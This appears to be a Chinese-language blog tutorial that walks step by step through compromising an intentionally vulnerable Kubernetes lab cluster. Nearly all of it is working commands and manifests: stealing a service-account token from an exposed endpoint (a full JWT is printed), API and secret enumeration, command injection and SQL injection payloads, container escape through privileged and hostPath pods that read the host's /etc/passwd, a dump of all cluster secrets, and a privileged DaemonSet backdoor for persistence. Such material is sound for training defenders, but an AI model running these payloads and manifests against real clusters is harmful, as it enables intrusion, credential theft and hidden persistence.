白帽故事 · 2026年2月12日

一次完整的Kubernetes黑盒渗透测试实战记录

Table of Contents

引言

本指南将带你完成一次对Kubernetes集群的完整黑盒渗透测试。我们从零知识开始,逐步推进,直到实现整个集群的完全沦陷。每一个命令都经过了测试和验证。

什么是黑盒测试?

黑盒测试意味着我们具备以下条件:

  • 无事先了解 目标信息
  • 无内部访问权限 或凭证
  • 仅有外部视角
  • 真实的攻击者场景

可以把它想象成你只知道一个建筑物的街道地址,却要闯入其中——你必须从零开始发现一切。

你将学到什么

通过按照本指南操作,你将学会:

  1. 如何发现Kubernetes集群上暴露的服务
  2. 如何识别和利用Web应用程序漏洞
  3. 如何提取Kubernetes服务账户令牌
  4. 如何使用令牌访问Kubernetes API
  5. 如何枚举集群资源
  6. 如何实现整个集群的沦陷

我们将使用的工具

nmap —— 网络映射器。扫描开放的端口和服务。
curl —— 用于发起HTTP请求的命令行工具。
jq —— JSON处理器。帮助我们解析JSON响应。
kubectl —— Kubernetes命令行工具。控制集群。
base64 —— 编码/解码base64数据(令牌是base64编码的)。

前提条件

确保已安装以下工具:

# 安装所需工具
sudo apt-get update
sudo apt-get install -y kubectl curl jq nmap base64
# 验证它们已安装
kubectl version --client
curl --version
jq --version
nmap --version

file

测试前准备

目标实验环境:

步骤1:创建工作目录

我们在做什么:设置一个文件夹结构以组织我们的发现。

目的:良好的组织有助于我们跟踪发现的内容,并为测试提供证据。

# 为我们的渗透测试创建一个目录
mkdir -p ~/blackbox-pentest
# 进入该目录
cd ~/blackbox-pentest
# 为不同类型的文件创建子目录
mkdir -p recon        # 用于侦察数据
mkdir -p exploitation # 用于利用尝试
mkdir -p proof        # 用于漏洞证明
mkdir -p reports      # 用于最终报告

这有什么作用:创建一个干净的工作空间,用于存储我们所有的发现。

阶段0:侦察

目标

在没有任何先验知识的情况下,发现目标上运行的服务。

什么是侦察?

侦察(或"recon")是任何渗透测试的第一阶段。我们就像侦探一样收集关于目标的线索。我们想知道:

  • 哪些端口是开放的?
  • 哪些服务正在运行?
  • 哪些应用程序暴露在外?

步骤1:使用nmap进行端口扫描

我们在做什么:扫描目标以查找开放端口。

目的:开放端口告诉我们正在运行哪些服务。每个端口号通常对应特定的服务(端口80 = HTTP,端口443 = HTTPS等)。

工具nmap(网络映射器)是一个强大的端口扫描器。它向不同端口发送数据包并分析响应,以确定哪些端口是开放的。

解释命令

  • sudo nmap – 以管理员权限运行nmap(某些扫描类型需要)
  • -sT – TCP连接扫描(可靠,适用于大多数防火墙)
  • -p- – 扫描所有65,535个端口(完整端口范围)
  • --min-rate=1000 – 每秒至少发送1000个数据包(使其更快)
  • 192.168.49.2 – 目标IP地址
# 扫描目标以查找开放端口
sudo nmap -sT -p- --min-rate=1000 192.168.49.2

你将看到什么:nmap将显示一个开放端口列表。以下是我们在测试期间的发现:

file

理解结果

  • 端口 22 — SSH(安全外壳) — 通常用于远程访问
  • 端口 10010, 10249, 38119 — HTTP服务(我们将调查这些)
  • 端口 30080, 30081, 30082 — HTTP服务(很可能是Web应用程序)
  • 端口 30443 — HTTPS(加密Web服务)
  • 端口 8443 — HTTPS(可能是Kubernetes API服务器)

步骤2:测试每个服务

我们在做什么:对每个端口发起HTTP请求以查看响应内容。

目的:端口开放并不代表它有用。我们需要查看每个端口上实际运行着什么。

工具curl 是一个发起HTTP请求的命令行工具。可以把它看作是终端里的网页浏览器。

解释命令

  • curl – 发起HTTP请求
  • -s – 静默模式(不显示进度)
  • --connect-timeout 5 – 如果无响应,5秒后放弃
  • http://192.168.49.2:30080 – 我们正在测试的URL

让我们逐一测试每个端口:

测试端口 30080

# 测试端口30080 - 看看响应什么
curl -s --connect-timeout 5 http://192.168.49.2:30080

这有什么作用:向端口30080发送HTTP GET请求并显示响应。

我们的发现:该端口返回一个“易受攻击的用户搜索”应用的HTML页面。它有一个接受用户名参数的搜索表单。

为何重要:Web应用程序通常存在漏洞。这看起来像是一个搜索功能,可能易受SQL注入攻击。

file

测试端口 30081

# 测试端口30081 - 看看响应什么
curl -s --connect-timeout 5 http://192.168.49.2:30081

我们的发现:该端口返回一个显示"易受攻击的API服务器"的HTML页面,包含以下几个端点:

  • POST /api/execute – 执行系统命令
  • GET /api/read?file= – 读取文件
  • GET /api/env – 查看环境变量
  • GET /api/system – 查看系统信息

为何重要:一个执行系统命令的API是极其危险的。这是一个等待被利用的命令注入漏洞。

file

测试端口 30082 —— "金矿"!

# 测试端口30082 - 看看响应什么
curl -s --connect-timeout 5 http://192.168.49.2:30082

我们的发现:该端口显示一个“易受攻击的应用 #3 — K8S令牌暴露”页面,包含以下端点:

  • GET /api/token – 暴露服务账户令牌
  • GET /api/namespace – 暴露命名空间
  • GET /api/k8s/pods – 访问K8S API(Pods)
  • GET /api/k8s/secrets – 访问K8S API(Secrets)

为何重要:这是我们的最佳入口点!如果我们能获得一个Kubernetes服务账户令牌,我们就有可能访问整个集群。

file

测试端口 8443 (Kubernetes API)

# 测试端口8443 - 这很可能是Kubernetes API服务器
curl -k -s --connect-timeout 5 https://192.168.49.2:8443

解释命令

  • -k – 不验证SSL证书(如果使用自签名证书则需要)
  • https:// – 使用HTTPS而非HTTP

我们的发现:API返回一个JSON错误,显示"forbidden: User ‘system:anonymous’ cannot get path ‘/’"。这证实了它是Kubernetes API,但我们需要身份验证。

为何重要:一旦我们从端口30082获得令牌,就可以在这里使用它来访问集群。

file

步骤3:保存发现结果

我们在做什么:保存响应以便稍后分析。

# 保存每个端口的响应
curl -s --connect-timeout 5 http://192.168.49.2:30080 > ~/blackbox-pentest/recon/port-30080-response.html
curl -s --connect-timeout 5 http://192.168.49.2:30081 > ~/blackbox-pentest/recon/port-30081-response.html
curl -s --connect-timeout 5 http://192.168.49.2:30082 > ~/blackbox-pentest/recon/port-30082-response.html
curl -k -s --connect-timeout 5 https://192.168.49.2:8443 > ~/blackbox-pentest/recon/port-8443-response.json

这有什么作用:将每个响应保存到文件中,以便稍后查看。

阶段1:初始访问

目标

获得对集群的第一处访问。这是最关键的一步。

什么是初始访问?

初始访问是我们首次侵入系统的时候。在我们的例子中,我们将提取一个Kubernetes服务账户令牌,这将使我们能够访问集群。

步骤1:提取服务账户令牌

我们在做什么:使用端口30082上的易受攻击端点来获取Kubernetes服务账户令牌。

为何奏效:端口30082上的应用程序有一个端点(/api/token),直接暴露了服务账户令牌。这是一个严重的配置错误——令牌永远不应该被暴露。

工具:再次使用 curl,但这次我们调用的是一个特定的API端点。

命令

# 从易受攻击的端点请求令牌
curl -s http://192.168.49.2:30082/api/token

这有什么作用:向/api/token端点发起一个GET请求并返回响应。

你将得到什么:一个类似下面的JSON响应:

{
  "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6InJYODc2LVFUR1hhdVpNbUxWbDhkWVlZTk1jNjNXaVd1X1pyZ1M3Y0Q5QjQifQ...",
  "message": "Service account token exposed!"
}

理解令牌:该令牌是一个JWT(JSON Web令牌)。它是一长串代表我们在Kubernetes集群中身份的字符。可以把它想象成一张给予我们访问权限的门禁卡。

file

步骤2:仅提取令牌值

我们在做什么:解析JSON响应以仅获取令牌值。

目的:我们需要token以纯字符串形式,而不是包裹在JSON中。

工具jq是一个JSON处理器。它让我们可以从JSON中提取特定值。

解释命令

  • curl -s http://192.168.49.2:30082/api/token – 获取JSON响应
  • | – 将输出传递给下一个命令
  • jq -r '.token' – 从JSON中提取"token"字段(-r标志用于去除引号)
# 从JSON响应中仅提取令牌值
curl -s http://192.168.49.2:30082/api/token | jq -r '.token'

你将得到什么:仅仅是令牌字符串,类似下面这样:
eyJhbGciOiJSUzI1NiIsImtpZCI6InJYODc2LVFUR1hhdVpNbUxWbDhkWVlZTk1jNjNXaVd1X1pyZ1M3Y0Q5QjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNjcxNDgyLCJpYXQiOjE3NzAxMzU0ODIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiNmMyNmE5MDctNjdiMi00NDk1LTg2NWEtZDFlNDQ4NTMyZWExIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJ2dWxuZXJhYmxlLWxhYiIsIm5vZGUiOnsibmFtZSI6Im1pbmlrdWJlIiwidWlkIjoiNDAzZDYyNTktYjQxOC00MzQ0LTkxZmQtYzczZmI1OGRkODA1In0sInBvZCI6eyJuYW1lIjoidnVsbi1hcHAzLTg0YmZiZDg2ZGQtNW5ucXIiLCJ1aWQiOiIxZjY4MjU3NS02ZGMyLTQwNWItYTI5ZC1hNDZlNzBkZGU3NjQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6InZ1bG5lcmFibGUtc2EtMSIsInVpZCI6IjNjMTg2YWYxLWJhZDItNDhkYy05OWJjLWVlMmU2NjY4NWUzZSJ9LCJ3YXJuYWZ0ZXIiOjE3NzAxMzkwODl9LCJuYmYiOjE3NzAxMzU0ODIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDp2dWxuZXJhYmxlLWxhYjp2dWxuZXJhYmxlLXNhLTEifQ.BccPgEaWtvwc6UAakozC9BPb8xnUFggfe4H5T6ejGRYL389BCxEfzUbPny1NAobtNevHhFsMdVMqXIsLFx55dElG-JzY4uhzxd0Fey5YbSrP3BqtrCrX1Hm4B5y8LASBZqyAlEdQE83vNU6q7oPbOd5LexBBUFLLuBcJMDmtbGMbDYx5LO_vDqyJE4SY_Zkqk6-0eF0E1rx0VB_JpGrBeSDTqt4LcETxf5iHh7FOsPEdFhJoAuV73EI5sc0FKk8SC3Jw9iaWbckkU40XqFSjEF0NVuMMjrothm8dedeg2ZO5pdHeOS2i5MLnaif3D9z-6N4Q3hXCbTRH7kKWwgqitg...

稍后使用:让我们把这个令牌保存到一个文件中以备后用:

# 将令牌保存到文件
curl -s http://192.168.49.2:30082/api/token | jq -r '.token' > ~/blackbox-pentest/proof/extracted-token.txt
# 验证我们得到了它
cat ~/blackbox-pentest/proof/extracted-token.txt

步骤3:使用令牌测试Kubernetes API

我们在做什么:使用令牌向Kubernetes API服务器进行身份验证。

目的:如果令牌有效,我们就有了集群访问权限。这是验证的关键时刻!

解释命令

  • curl -k – 发起HTTPS请求,忽略证书错误
  • -s – 静默模式
  • -H "Authorization: Bearer TOKEN" – 添加一个包含我们令牌的HTTP头
  • https://192.168.49.2:8443/api/v1/namespaces – 用于列出命名空间的Kubernetes API端点

首先,让我们将令牌存入变量以便于使用

# 从我们保存的文件中读取令牌
TOKEN=$(cat ~/blackbox-pentest/proof/extracted-token.txt)
# 现在用Kubernetes API测试它
curl -k -s -H "Authorization: Bearer $TOKEN" https://192.168.49.2:8443/api/v1/namespaces

这有什么作用

  1. 从我们的文件中读取令牌
  2. 向Kubernetes API发起一个经过身份验证的请求
  3. 请求列出集群中的所有命名空间

你将得到什么:一个列出所有命名空间的JSON响应。如果你看到了命名空间,恭喜你——你已经获得了集群访问权限!

我们在测试期间的发现

{
  "kind": "NamespaceList",
  "apiVersion": "v1",
  "items": [
    {"metadata": {"name": "default"}},
    {"metadata": {"name": "kube-system"}},
    {"metadata": {"name": "vulnerable-lab"}},
    ...
  ]
}

file

步骤4:检查我们拥有什么权限

我们在做什么:检查我们的令牌是否拥有强大的权限(例如集群管理员)。

目的:并非所有令牌都是平等的。有些令牌只能读取,有些可以创建资源,有些(如集群管理员)可以做任何事情。

工具:Kubernetes有一个内置的API端点,名为"SelfSubjectAccessReview",它允许我们检查自己的权限。

解释命令

  • -X POST – 使用POST方法(我们正在发送数据)
  • -H "Content-Type: application/json" – 告诉服务器我们正在发送JSON
  • -d '{...}' – 我们正在发送的JSON数据(询问"我可以做所有事情吗?")
  • 端点 /apis/authorization.k8s.io/v1/selfsubjectaccessreviews – 权限检查API
# 检查我们是否拥有全部权限
curl -k -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"spec":{"resourceAttributes":{"namespace":"vulnerable-lab","verb":"*","resource":"*"}}}' \
  https://192.168.49.2:8443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews

这询问了什么:"我可以在vulnerable-lab命名空间中用所有资源(resource: *)做所有事情(verb: *)吗?"

我们在测试期间的发现

{
  "status": {
    "allowed": true,
    "reason": "RBAC: allowed by ClusterRoleBinding \"vulnerable-cluster-admin-binding\" of ClusterRole \"cluster-admin\" to ServiceAccount \"vulnerable-sa-1/vulnerable-lab\""
  }
}

这意味着什么:我们拥有了集群管理员权限!这是Kubernetes中的最高访问级别。我们可以在集群中做任何想做的事。

为何这很关键:我们刚刚通过一步就从零访问权限变成了完全控制集群。这是一个严重的安全问题。

file

阶段2:信息披露

目标

尽可能多地收集关于集群结构的信息。

什么是信息披露?

信息披露是指我们了解系统的内部结构。在Kubernetes中,这意味着发现:

  • 存在哪些命名空间
  • 正在运行哪些Pod
  • 存储了哪些Secrets
  • 存在哪些服务账户
  • 配置了哪些权限

步骤1:列出所有命名空间

我们在做什么:获取集群中所有命名空间的列表。

目的:命名空间就像Kubernetes中的文件夹,用于组织资源。了解存在哪些命名空间有助于我们理解集群结构。

命令

# 获取所有命名空间
curl -k -s -H "Authorization: Bearer $TOKEN" https://192.168.49.2:8443/api/v1/namespaces | jq -r '.items[].metadata.name'

解释命令

  • https://192.168.49.2:8443/api/v1/namespaces – Kubernetes API命名空间端点
  • | jq -r '.items[].metadata.name' – 仅从JSON中提取命名空间名称

file

你将得到什么:一个命名空间名称列表:

default
kube-node-lease
kube-public
kube-system
vulnerable-lab

每个命名空间代表的含义

  • default —— 如果不指定命名空间,资源会放在这里
  • kube-system —— 系统组件(如API服务器、etcd等)
  • kube-public —— 公开可访问的信息
  • vulnerable-lab —— 包含我们易受攻击应用程序的命名空间

步骤2:列出所有Pods

我们在做什么:获取集群中运行的所有Pods(容器)的列表。

目的:Pod是运行的容器。了解正在运行的内容有助于我们了解部署了哪些应用程序并识别潜在目标。

命令

# 从所有命名空间获取所有Pods
curl -k -s -H "Authorization: Bearer $TOKEN" https://192.168.49.2:8443/api/v1/pods | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)"'

解释命令

  • https://192.168.49.2:8443/api/v1/pods – Kubernetes API Pod端点
  • jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)"' – 格式化为"命名空间/名称"

你将得到什么:一个Pods列表,如下所示:

kube-system/coredns-7d764666f9-wspd8
kube-system/etcd-minikube
vulnerable-lab/vuln-app1-64998d5f44-622p9
vulnerable-lab/vuln-app2-56bd796598-2bw5d
vulnerable-lab/vuln-app3-84bfbd86dd-5nnqr
vulnerable-lab/mysql-6b9dd9bb56-rgmpw
vulnerable-lab/privileged-container-1-db8b64ccf-dfjkx
...

这告诉我们什么:我们可以看到存在多个易受攻击的应用程序、一个MySQL数据库和一些特权容器(这些都是安全风险)。

file

步骤3:列出所有Secrets

我们在做什么:获取集群中所有Secrets(密码、令牌、证书)的列表。

目的:Secrets通常包含敏感信息,如密码、API密钥或证书。如果我们能访问这些,可能会发现更多凭证。

命令

# 从所有命名空间获取所有Secrets
curl -k -s -H "Authorization: Bearer $TOKEN" https://192.168.49.2:8443/api/v1/secrets | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)"'

你将得到什么:一个Secrets列表。在测试期间,我们在kube-system命名空间中发现了secrets。

为何重要:尽管我们已经拥有集群管理员访问权限,但Secrets可能包含用于其他系统或服务的凭证。

file

步骤4:列出服务账户

我们在做什么:获取所有服务账户的列表。

目的:服务账户是Kubernetes中的身份标识。每个服务账户可以有不同的权限。我们想看看存在哪些服务账户以及它们能做什么。

命令

# 获取所有服务账户
curl -k -s -H "Authorization: Bearer $TOKEN" https://192.168.49.2:8443/api/v1/serviceaccounts | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)"'

你将得到什么:一个服务账户列表。我们特别感兴趣的是我们正在使用的那个:vulnerable-lab/vulnerable-sa-1

file

步骤5:列出集群角色

我们在做什么:获取所有集群角色(权限集)的列表。

目的:集群角色定义了可以执行哪些操作。我们想看看存在哪些角色并理解权限结构。

命令

# 获取所有集群角色
curl -k -s -H "Authorization: Bearer $TOKEN" https://192.168.49.2:8443/apis/rbac.authorization.k8s.io/v1/clusterroles | jq -r '.items[].metadata.name'

你将得到什么:一个集群角色列表,包括:

  • cluster-admin – 完全访问(这就是我们拥有的!)
  • admin – 管理访问权限
  • edit – 可以编辑资源
  • view – 只读访问权限
  • 以及许多系统角色

file

阶段3:权限提升

目标

验证并记录我们已达到的权限级别。

什么是权限提升?

权限提升是指获得比开始时更高级别的权限。在我们的情况下,我们已经拥有集群管理员(最高级别),但让我们验证这一点并理解其含义。

步骤1:验证我们拥有集群管理员权限

我们在做什么:确认我们确实拥有集群管理员权限。

目的:在进行更高级的攻击之前,我们希望百分之百确定。

命令:我们已经在阶段1做过了,但为了彻底起见,让我们再做一次:

# 再次检查我们的权限
curl -k -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"spec":{"resourceAttributes":{"namespace":"vulnerable-lab","verb":"*","resource":"*"}}}' \
  https://192.168.49.2:8443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews | jq '.status'

这确认了什么:我们拥有集群管理员权限,"allowed": true

file

步骤2:测试创建资源

我们在做什么:实际创建一个资源来证明我们拥有写入权限。

目的:读取是一回事,但创建资源证明我们拥有完全控制权。

命令:让我们创建一个简单的ConfigMap(Kubernetes中的一个键值存储):

# 创建一个ConfigMap来证明我们可以创建资源
curl -k -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "ConfigMap",
    "metadata": {
      "name": "proof-of-access",
      "namespace": "vulnerable-lab"
    },
    "data": {
      "message": "I have cluster-admin access!"
    }
  }' \
  https://192.168.49.2:8443/api/v1/namespaces/vulnerable-lab/configmaps

这有什么作用:在vulnerable-lab命名空间中创建一个ConfigMap资源。

如果成功:你会得到一个包含已创建ConfigMap的JSON响应。这证明你可以创建资源,确认了你的集群管理员访问权限。

状态:我们已经拥有最高权限。无需提升!

file

阶段4:使用kubectl访问集群

目标

设置kubectl(Kubernetes命令行工具),以便我们能轻松地与集群交互。

什么是kubectl?

kubectl是官方的Kubernetes命令行工具。它就像拥有远程控制集群的能力。相比于使用curl进行原始的API调用,kubectl让一切变得容易得多。

步骤1:配置kubectl

我们在做什么:告诉kubectl如何连接到我们的目标集群以及使用什么凭证。

目的:一旦配置好,我们就可以使用简单的命令如kubectl get pods,而不必使用冗长的curl命令。

命令

# 首先,让我们再次获取令牌(以防万一需要)
TOKEN=$(cat ~/blackbox-pentest/proof/extracted-token.txt)
# 配置集群端点
kubectl config set-cluster vulnerable-cluster \
  --server=https://192.168.49.2:8443 \
  --insecure-skip-tls-verify=true
# 配置我们的凭证(令牌)
kubectl config set-credentials vulnerable-user \
  --token="$TOKEN"
# 创建一个上下文(集群+用户的组合)
kubectl config set-context vulnerable-context \
  --cluster=vulnerable-cluster \
  --user=vulnerable-user \
  --namespace=vulnerable-lab
# 切换以使用此上下文
kubectl config use-context vulnerable-context

每个命令的作用

  1. set-cluster —— 告诉kubectl API服务器在哪里(192.168.49.2:8443)
  2. set-credentials —— 告诉kubectl使用我们提取的令牌
  3. set-context —— 组合集群和用户设置
  4. use-context —— 使其成为我们的活动配置

file

步骤2:测试kubectl访问

我们在做什么:验证kubectl与我们的令牌一起工作。

命令

# 测试基本访问 - 列出节点
kubectl get nodes
# 列出命名空间
kubectl get namespaces
# 列出所有命名空间中的Pods
kubectl get pods -A
# 列出vulnerable-lab命名空间中的Pods
kubectl get pods -n vulnerable-lab

你将看到什么:kubectl将返回资源列表,确认它正在工作。

为何这更好:现在我们可以使用简单命令,而不必使用冗长的curl请求!

file

步骤3:获取详细信息

我们在做什么:获取关于集群的更详细信息。

命令

# 获取vulnerable-lab中的所有资源及详细信息
kubectl get all -n vulnerable-lab -o wide
# 获取所有secrets
kubectl get secrets -n vulnerable-lab
# 获取服务账户
kubectl get serviceaccounts -n vulnerable-lab
# 获取赋予我们集群管理员权限的集群角色绑定
kubectl get clusterrolebindings | grep vulnerable

这向我们展示什么:我们可以看到赋予我们服务账户集群管理员权限的ClusterRoleBinding。正是这个配置错误使得我们的攻击得以进行。

file

阶段5:横向移动

目标

探索其他攻击途径,并在系统的不同部分之间移动。

什么是横向移动?

横向移动是指从一个系统部分移动到另一个部分。我们已经有集群访问权限,但也让我们利用发现的其他漏洞。

步骤1:利用命令注入 (端口 30081)

我们在做什么:使用命令注入漏洞在服务器上执行命令。

目的:这给了我们容器上的一个shell,对于进一步探索很有用。

漏洞:端口30081上的应用程序有一个执行系统命令的端点。这极其危险。

命令

# 通过易受攻击的API执行命令
curl -s -X POST http://192.168.49.2:30081/api/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"id"}'

这有什么作用

  • /api/execute端点发起POST请求
  • 发送带有"command"字段的JSON数据
  • 服务器执行该命令并返回输出

file

你将得到什么:一个JSON响应,如下所示:

{
  "success": true,
  "output": "uid=0(root) gid=0(root) groups=0(root)\n",
  "stderr": ""
}

这意味着什么:命令成功执行,我们正在以root(超级用户)身份运行!从安全角度看,这非常糟糕。

尝试更多命令

# 查看我们是什么用户
curl -s -X POST http://192.168.49.2:30081/api/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"whoami"}'
# 列出当前目录中的文件
curl -s -X POST http://192.168.49.2:30081/api/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"ls -la"}'
# 查看环境变量
curl -s -X POST http://192.168.49.2:30081/api/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"env"}'

file

步骤2:提取环境变量

我们在做什么:从易受攻击的应用程序中获取环境变量。

目的:环境变量通常包含敏感信息,如数据库密码、API密钥或服务URL。

命令

# 直接从API获取环境变量
curl -s http://192.168.49.2:30081/api/env

file

你将得到什么:一个包含所有环境变量的JSON响应。在测试期间,我们发现:

  • 内部服务IP(如vuln-app1的10.104.15.172
  • Kubernetes API服务器地址(10.96.0.1:443
  • MySQL数据库地址(10.108.131.92:3306
  • 各种服务发现信息

为何重要:这些信息帮助我们了解内部网络结构并找到更多目标。

步骤3:测试 SQL注入 (端口 30080)

我们在做什么:测试用户搜索应用程序中的SQL注入漏洞。

目的:SQL注入可以让我们从数据库中读取数据,其中可能包含敏感信息。

漏洞:该应用程序接受一个用户名参数,并将其用在SQL查询中,但没有进行适当的清理。

普通查询

# 普通搜索 - 这是它应该工作的方式
curl -s "http://192.168.49.2:30080/?username=test"

file

SQL注入测试

# SQL注入 - 这会破坏查询并返回所有用户
curl -s "http://192.168.49.2:30080/?username=test' OR '1'='1"

这有什么作用

  • ' OR '1'='1 部分使SQL查询始终为真
  • 不是搜索"test",而是返回所有用户
  • 这是一种经典的SQL注入攻击

你将看到什么:页面将显示多个用户,而不仅仅是第一个,这证明了SQL注入有效。

更高级的SQL注入

# 尝试提取数据库信息
curl -s "http://192.168.49.2:30080/?username=test' UNION SELECT 1,2,3--"
# 尝试提取表名
curl -s "http://192.168.49.2:30080/?username=test' UNION SELECT table_name,2,3 FROM information_schema.tables--"

为何重要:SQL注入可能导致数据盗窃,这是一个严重的安全问题。

阶段6:容器逃逸

目标

从容器中逃脱以访问宿主机系统。

什么是容器逃逸?

容器逃逸是指你脱离容器并访问宿主机系统。这是一个严重的安全问题,因为容器应该是相互隔离的。

步骤1:查找特权容器

我们在做什么:寻找可能允许逃逸的、具有特殊权限的容器。

目的:特权容器有权访问宿主机系统,这使得逃逸更容易。

命令

# 查找所有特权Pods
kubectl get pods -A -o json | jq -r '.items[] | select(.spec.containers[].securityContext.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'

file

这有什么作用

  • 获取所有Pods的JSON格式
  • 筛选出privileged: true的Pods
  • 将它们显示为"命名空间/Pod名称"

我们发现了什么:多个特权Pods,包括:

  • vulnerable-lab/docker-socket-mount-* – 有权访问Docker socket
  • vulnerable-lab/host-network-pod-* – 使用宿主机网络
  • vulnerable-lab/privileged-container-* – 普通特权容器

步骤2:访问特权Pod

我们在做什么:获取特权Pod的shell访问权限。

目的:一旦进入,我们就可以尝试逃逸到宿主机。

命令

# 获取一个特权Pod的名称
POD_NAME=$(kubectl get pods -n vulnerable-lab -l app=docker-socket -o jsonpath='{.items[0].metadata.name}')
# 在该Pod中执行命令
kubectl exec -n vulnerable-lab $POD_NAME -- id
# 列出Docker socket(这证明了我们有宿主机访问权限)
kubectl exec -n vulnerable-lab $POD_NAME -- ls -la /var/run/docker.sock

这有什么作用

  • 查找一个有权访问Docker socket的Pod
  • 在其中执行id命令
  • 列出Docker socket文件

为何重要:访问Docker socket意味着我们可以控制宿主机上的容器,这是一个严重的安全风险。

file

步骤3:访问宿主机文件系统

我们在做什么:使用带有hostPath挂载的Pod来访问宿主机文件系统。

目的:如果我们能访问宿主机文件系统,就等于有效地逃逸了容器。

命令

# 查找具有hostPath挂载的Pod
kubectl get pods -n vulnerable-lab -o json | jq -r '.items[] | select(.spec.volumes[].hostPath != null) | "\(.metadata.namespace)/\(.metadata.name)"'
# 访问其中一个Pods
POD_NAME=$(kubectl get pods -n vulnerable-lab -l app=hostpath -o jsonpath='{.items[0].metadata.name}')
# 列出宿主机文件系统(挂载在/host)
kubectl exec -n vulnerable-lab $POD_NAME -- ls -la /host/etc

这有什么作用:通过挂载的卷访问宿主机的/etc目录。

为何这很关键:如果我们能读取宿主机的/etc目录,就有可能读取密码、SSH密钥或其他敏感文件。

file

阶段7:完整的集群沦陷

目标

展示对集群的完全控制。

什么是完整的集群沦陷?

完整的集群沦陷意味着我们可以为所欲为:创建资源、删除资源、访问Secrets、修改配置等。

步骤1:创建一个恶意Pod

我们在做什么:创建一个具有最大权限的Pod来展示我们的控制能力。

目的:这证明我们可以创建任何我们想要的资源,这是完全沦陷的定义。

首先,创建一个YAML文件

# 创建一个定义我们恶意Pod的文件
cat > ~/blackbox-pentest/exploitation/malicious-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
  namespace: vulnerable-lab
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
      capabilities:
        add: ["ALL"]
  serviceAccountName: vulnerable-sa-1
EOF

这个YAML有什么作用:定义一个Pod,它:

  • 运行一个Alpine Linux容器
  • 拥有特权访问(可以访问宿主机)
  • 拥有所有Linux capabilities
  • 使用我们的服务账户(该账户拥有集群管理员权限)

现在创建Pod

# 创建Pod
kubectl apply -f ~/blackbox-pentest/exploitation/malicious-pod.yaml
# 等待它准备就绪
kubectl wait --for=condition=Ready pod/attacker-pod -n vulnerable-lab --timeout=60s
# 验证它正在运行
kubectl get pod attacker-pod -n vulnerable-lab

这证明了什么:我们可以创建任何拥有任何权限的Pod。这是完全控制集群的能力。

file

步骤2:提取所有Secrets

我们在做什么:获取整个集群中的所有Secrets。

目的:Secrets包含敏感信息。拥有所有这些证明了完全的访问权限。

命令

# 从所有命名空间获取所有Secrets
kubectl get secrets -A -o yaml > ~/blackbox-pentest/proof/all-secrets.yaml
# 同时以JSON格式获取以便于解析
kubectl get secrets -A -o json > ~/blackbox-pentest/proof/all-secrets.json

这有什么作用:将所有Secrets导出到文件中。这些文件包含密码、令牌、证书和其他敏感数据。

为何重要:在真实的攻击中,攻击者会窃取这些Secrets以供以后使用或在暗网上出售。

步骤3:访问节点文件系统

我们在做什么:创建一个挂载整个宿主机文件系统的Pod。

目的:这让我们可以完全访问节点(运行Kubernetes的物理或虚拟机)。

创建YAML

# 创建一个挂载宿主机根文件系统的Pod
cat > ~/blackbox-pentest/exploitation/host-access-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: host-access
  namespace: vulnerable-lab
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
    securityContext:
      privileged: true
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
  serviceAccountName: vulnerable-sa-1
EOF

创建并使用Pod

# 创建Pod
kubectl apply -f ~/blackbox-pentest/exploitation/host-access-pod.yaml
# 等待它
kubectl wait --for=condition=Ready pod/host-access -n vulnerable-lab --timeout=60s
# 访问宿主机文件系统
kubectl exec -n vulnerable-lab host-access -- ls -la /host/etc
# 读取宿主机文件
kubectl exec -n vulnerable-lab host-access -- cat /host/etc/passwd

这证明了什么:我们拥有节点文件系统的完全访问权限。我们可以读取任何文件、修改系统配置或安装后门。

file

步骤4:创建持久性后门

我们在做什么:创建一个在每个节点上运行的DaemonSet,确保我们维持访问权限。

目的:DaemonSet确保即使Pods被删除,我们的后门仍在运行。这是持久性。

创建YAML

# 创建一个DaemonSet后门
cat > ~/blackbox-pentest/exploitation/backdoor-daemonset.yaml << 'EOF'
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: backdoor
  namespace: vulnerable-lab
spec:
  selector:
    matchLabels:
      app: backdoor
  template:
    metadata:
      labels:
        app: backdoor
    spec:
      containers:
      - name: backdoor
        image: alpine:latest
        command: ["sleep", "infinity"]
        securityContext:
          privileged: true
      serviceAccountName: vulnerable-sa-1
EOF

部署它

# 创建DaemonSet
kubectl apply -f ~/blackbox-pentest/exploitation/backdoor-daemonset.yaml
# 验证它正在运行
kubectl get daemonset backdoor -n vulnerable-lab
# 查看它创建的Pods
kubectl get pods -n vulnerable-lab -l app=backdoor

这有什么作用:在集群中的每个节点上创建一个Pod。即使有人删除了一个,它也会自动重新创建。

